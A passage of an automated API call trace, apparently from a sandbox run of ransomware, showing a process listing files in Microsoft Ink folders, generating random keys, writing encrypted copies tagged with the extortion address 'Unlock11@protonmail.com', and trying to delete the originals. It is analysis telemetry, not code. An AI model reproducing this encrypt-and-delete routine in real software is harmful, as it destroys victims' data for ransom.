lpFileInformation=0x9bb4ac) returned 1 [0122.388] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.388] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.388] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.388] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.388] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.388] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.388] GetLastError () returned 0x0 [0122.388] GetCurrentThreadId () returned 0x9b0 [0122.388] GetLastError () returned 0x0 [0122.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0122.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a38 | out: hHeap=0x2ad0000) returned 1 [0122.389] GetLastError () returned 0x0 [0122.389] GetLastError () returned 0x0 [0122.389] GetLastError () returned 0x0 [0122.389] GetLastError () returned 0x0 [0122.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bf8 [0122.389] GetLastError () returned 0x0 [0122.389] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.390] GetFileType (hFile=0x3ac) returned 0x1 [0122.390] GetLastError () returned 0x0 [0122.390] GetCurrentThreadId () returned 0x9b0 [0122.390] GetLastError () returned 0x0 [0122.390] GetFileType (hFile=0x3ac) returned 0x1 [0122.390] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.390] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.390] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.390] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.390] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.390] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.391] GetLastError () returned 0x0 [0122.391] GetCurrentThreadId () returned 0x9b0 [0122.391] GetLastError () returned 0x0 [0122.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.391] GetCurrentThreadId () returned 0x9b0 [0122.391] GetLastError () returned 0x0 [0122.391] GetCurrentThreadId () returned 0x9b0 [0122.391] GetLastError () returned 0x0 [0122.393] GetCurrentThreadId () returned 0x9b0 [0122.393] GetLastError () returned 0x0 [0122.393] GetCurrentThreadId () returned 0x9b0 [0122.393] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x5b8) returned 0x33f2338 [0122.393] GetCurrentThreadId () returned 0x9b0 [0122.393] GetLastError () returned 0x0 [0122.393] GetCurrentThreadId () returned 0x9b0 [0122.393] GetLastError () returned 0x0 [0122.393] GetCurrentThreadId () returned 0x9b0 [0122.394] GetLastError () returned 0x0 [0122.394] CloseHandle (hObject=0x3ac) returned 1 [0122.395] GetCurrentThreadId () returned 0x9b0 [0122.395] GetLastError () returned 0x0 [0122.395] CloseHandle (hObject=0x39c) returned 1 [0122.395] GetCurrentThreadId () returned 0x9b0 [0122.395] GetLastError () returned 0x0 [0122.395] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0 [0122.395] GetLastError () returned 0x5 [0122.395] GetCurrentThreadId () returned 0x9b0 [0122.396] GetLastError () returned 0x5 [0122.396] GetCurrentThreadId () returned 0x9b0 [0122.396] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f79d0 [0122.396] GetLastError () returned 0x5 [0122.396] GetCurrentThreadId () returned 0x9b0 [0122.396] GetLastError () returned 0x5 [0122.396] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0638c00, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.396] GetLastError () returned 0x5 [0122.396] GetCurrentThreadId () returned 0x9b0 [0122.397] GetLastError () returned 0x5 [0122.397] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="insertbase.xml", cAlternateFileName="")) returned 1 [0122.397] GetLastError () returned 0x5 [0122.397] GetCurrentThreadId () returned 0x9b0 [0122.397] GetLastError () returned 0x5 [0122.397] FindNextFileA (in: hFindFile=0x10f79d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="insertbase.xml", cAlternateFileName="")) returned 0 [0122.397] GetLastError () returned 0x12 [0122.397] GetCurrentThreadId () returned 0x9b0 [0122.397] GetLastError () returned 0x12 [0122.397] FindClose (in: hFindFile=0x10f79d0 | out: hFindFile=0x10f79d0) returned 1 [0122.397] GetCurrentThreadId () returned 0x9b0 [0122.398] GetLastError () returned 0x12 [0122.398] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0122.398] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml", lpFilePart=0x9bada4*="insertbase.xml") returned 0x56 [0122.398] GetCurrentThreadId () returned 0x9b0 [0122.398] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0122.399] GetCurrentThreadId () returned 0x9b0 [0122.399] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea750 [0122.399] GetCurrentThreadId () returned 0x9b0 [0122.399] GetLastError () returned 0x0 [0122.399] GetCurrentThreadId () returned 0x9b0 [0122.399] GetLastError () returned 0x0 [0122.399] GetCurrentThreadId () returned 0x9b0 [0122.399] GetCurrentThreadId () returned 0x9b0 [0122.399] GetLastError () returned 0x0 [0122.399] GetCurrentThreadId () returned 0x9b0 [0122.399] GetLastError () returned 0x0 [0122.400] GetCurrentThreadId () returned 0x9b0 [0122.400] GetLastError () returned 0x0 [0122.400] GetCurrentThreadId () returned 0x9b0 [0122.400] GetLastError () returned 0x0 [0122.400] GetCurrentThreadId () returned 0x9b0 [0122.400] GetLastError () returned 0x0 [0122.400] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387)) returned 1 [0122.400] GetLastError () returned 0x0 [0122.400] GetCurrentThreadId () returned 0x9b0 [0122.400] GetLastError () returned 0x0 [0122.400] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668e1c | out: pbBuffer=0x3668e1c) returned 1 [0122.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0122.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0122.401] GetCurrentThreadId () returned 0x9b0 [0122.401] GetCurrentThreadId () returned 0x9b0 [0122.401] GetLastError () returned 0x0 [0122.401] GetCurrentThreadId () returned 0x9b0 [0122.401] GetLastError () returned 0x0 [0122.401] GetCurrentThreadId () returned 0x9b0 [0122.401] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.402] GetFileType (hFile=0x39c) returned 0x1 [0122.402] GetCurrentThreadId () returned 0x9b0 [0122.402] GetLastError () returned 0x0 [0122.402] GetFileType (hFile=0x39c) returned 0x1 [0122.402] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.402] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.402] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.402] GetLastError () returned 0x0 [0122.403] GetCurrentThreadId () returned 0x9b0 [0122.403] GetLastError () returned 0x0 [0122.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0122.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2a98 | out: hHeap=0x2ad0000) returned 1 [0122.403] GetLastError () returned 0x0 [0122.403] GetLastError () returned 0x0 [0122.403] GetLastError () returned 0x0 [0122.403] GetLastError () returned 0x0 [0122.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0122.403] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6bf8 [0122.403] GetLastError () returned 0x0 [0122.403] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.404] GetFileType (hFile=0x3ac) returned 0x1 [0122.405] GetLastError () returned 0x0 [0122.405] GetCurrentThreadId () returned 0x9b0 [0122.405] GetLastError () returned 0x0 [0122.405] GetFileType (hFile=0x3ac) returned 0x1 [0122.405] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.405] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.405] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.405] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.405] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.405] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.405] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.405] GetLastError () returned 0x0 [0122.406] GetCurrentThreadId () returned 0x9b0 [0122.406] GetLastError () returned 0x0 [0122.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0122.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc710 | out: hHeap=0x2ad0000) returned 1 [0122.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0122.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0122.406] GetLastError () returned 0x0 [0122.406] GetLastError () returned 0x0 [0122.406] GetCurrentThreadId () returned 0x9b0 [0122.406] GetLastError () returned 0x0 [0122.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.406] GetLastError () returned 0x0 [0122.407] GetLastError () returned 0x0 [0122.407] GetCurrentThreadId () returned 0x9b0 [0122.407] GetLastError () returned 0x0 [0122.407] GetLastError () returned 0x0 [0122.408] GetLastError () returned 0x0 [0122.408] GetCurrentThreadId () returned 0x9b0 [0122.409] GetLastError () returned 0x0 [0122.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3a8) returned 0x388fe18 [0122.409] GetCurrentThreadId () returned 0x9b0 [0122.409] GetLastError () returned 0x0 [0122.409] GetLastError () returned 0x0 [0122.409] GetLastError () returned 0x0 [0122.409] GetLastError () returned 0x0 [0122.409] GetCurrentThreadId () returned 0x9b0 [0122.409] GetLastError () returned 0x0 [0122.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388fe18 | out: hHeap=0x2ad0000) returned 1 [0122.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0122.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0122.410] GetLastError () returned 0x0 [0122.410] GetLastError () returned 0x0 [0122.410] GetCurrentThreadId () returned 0x9b0 [0122.410] GetLastError () returned 0x0 [0122.410] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3891100 | out: hHeap=0x2ad0000) returned 1 [0122.410] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f88f8 [0122.410] GetLastError () returned 0x0 [0122.410] GetLastError () returned 0x0 [0122.410] GetCurrentThreadId () returned 0x9b0 [0122.411] GetLastError () returned 0x0 [0122.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f88f8 | out: hHeap=0x2ad0000) returned 1 [0122.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.411] GetLastError () returned 0x0 [0122.412] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.412] CloseHandle (hObject=0x3ac) returned 1 [0122.412] GetLastError () returned 0x0 [0122.412] GetCurrentThreadId () returned 0x9b0 [0122.412] GetLastError () returned 0x0 [0122.412] GetLastError () returned 0x0 [0122.412] CloseHandle (hObject=0x39c) returned 1 [0122.413] GetLastError () returned 0x0 [0122.413] GetCurrentThreadId () returned 0x9b0 [0122.413] GetLastError () returned 0x0 [0122.413] GetLastError () returned 0x0 [0122.413] GetLastError () returned 0x0 [0122.413] GetLastError () returned 0x0 [0122.413] GetLastError () returned 0x0 [0122.413] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0 [0122.413] GetLastError () returned 0x5 [0122.414] GetCurrentThreadId () returned 0x9b0 [0122.414] GetLastError () returned 0x5 [0122.414] GetLastError () returned 0x5 [0122.414] GetLastError () returned 0x5 [0122.414] GetLastError () returned 0x5 [0122.414] LocalFree (hMem=0x1053a70) returned 0x0 [0122.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.414] GetCurrentThreadId () returned 0x9b0 [0122.414] GetLastError () returned 0x5 [0122.414] GetLastError () returned 0x5 [0122.414] GetLastError () returned 0x5 [0122.415] GetLastError () returned 0x5 [0122.415] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f73d0 [0122.415] GetLastError () returned 0x5 [0122.415] GetCurrentThreadId () returned 0x9b0 [0122.415] GetLastError () returned 0x5 [0122.415] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa063932e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0122.415] GetLastError () returned 0x5 [0122.415] GetCurrentThreadId () returned 0x9b0 [0122.415] GetLastError () returned 0x5 [0122.415] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="ea.xml", cAlternateFileName="")) returned 1 [0122.416] GetLastError () returned 0x5 [0122.416] GetCurrentThreadId () returned 0x9b0 [0122.416] GetLastError () returned 0x5 [0122.416] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="keypadbase.xml", cAlternateFileName="")) returned 1 [0122.416] GetLastError () returned 0x5 [0122.416] GetCurrentThreadId () returned 0x9b0 [0122.416] GetLastError () returned 0x5 [0122.416] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0122.416] GetLastError () returned 0x5 [0122.416] GetCurrentThreadId () returned 0x9b0 [0122.416] GetLastError () returned 0x5 [0122.416] FindNextFileA (in: hFindFile=0x10f73d0, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0122.416] GetLastError () returned 0x12 [0122.417] GetCurrentThreadId () returned 0x9b0 [0122.417] GetLastError () returned 0x12 [0122.417] GetLastError () returned 0x12 [0122.417] FindClose (in: hFindFile=0x10f73d0 | out: hFindFile=0x10f73d0) returned 1 [0122.417] GetCurrentThreadId () returned 0x9b0 [0122.417] GetLastError () returned 0x12 [0122.417] GetLastError () returned 0x12 [0122.417] GetLastError () returned 0x12 [0122.417] GetLastError () returned 0x12 [0122.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.417] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0122.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2040 | out: hHeap=0x2ad0000) returned 1 [0122.418] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.418] GetLastError () returned 0x12 [0122.418] GetLastError () returned 0x12 [0122.419] GetLastError () returned 0x12 [0122.419] GetLastError () returned 0x12 [0122.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0122.419] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0122.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0122.419] GetCurrentThreadId () returned 0x9b0 [0122.419] GetLastError () returned 0x12 [0122.419] GetLastError () returned 0x12 [0122.419] GetLastError () returned 0x12 [0122.420] GetLastError () returned 0x12 [0122.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.420] GetFileAttributesA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0122.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0122.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0122.420] GetLastError () returned 0x12 [0122.420] GetLastError () returned 0x12 [0122.420] GetLastError () returned 0x12 [0122.420] GetLastError () returned 0x12 [0122.421] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml", lpFilePart=0x9bada4*="ea.xml") returned 0x4e [0122.421] GetCurrentThreadId () returned 0x9b0 [0122.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0122.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0122.421] GetCurrentThreadId () returned 0x9b0 [0122.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea6d8 [0122.421] GetLastError () returned 0x0 [0122.421] GetLastError () returned 0x0 [0122.421] GetLastError () returned 0x0 [0122.422] GetLastError () returned 0x0 [0122.422] GetCurrentThreadId 